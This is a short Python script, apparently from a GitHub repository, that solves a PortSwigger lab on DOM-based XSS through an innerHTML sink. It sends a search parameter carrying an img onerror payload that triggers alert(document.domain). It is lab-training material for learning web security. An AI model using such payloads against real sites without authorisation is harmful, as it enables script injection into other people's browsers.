-
Notifications
You must be signed in to change notification settings - Fork 83
/
script.py
executable file
·36 lines (28 loc) · 1.07 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
# Lab: DOM XSS in innerHTML sink using source location.search
# Lab-Link: https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
# Difficulty: APPRENTICE
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def main():
print('[+] Lab: DOM XSS in innerHTML sink using source location.search')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)
client = requests.Session()
client.verify = False
client.proxies = proxies
url = f'{host}/?search=foo<img src="xxx" onerror=alert(document.domain)>'
client.get(url)
if 'Congratulations, you solved the lab!' not in client.get(host).text:
print(f'[-] Failed to solve lab')
sys.exit(-9)
print(f'[+] Lab solved')
if __name__ == "__main__":
main()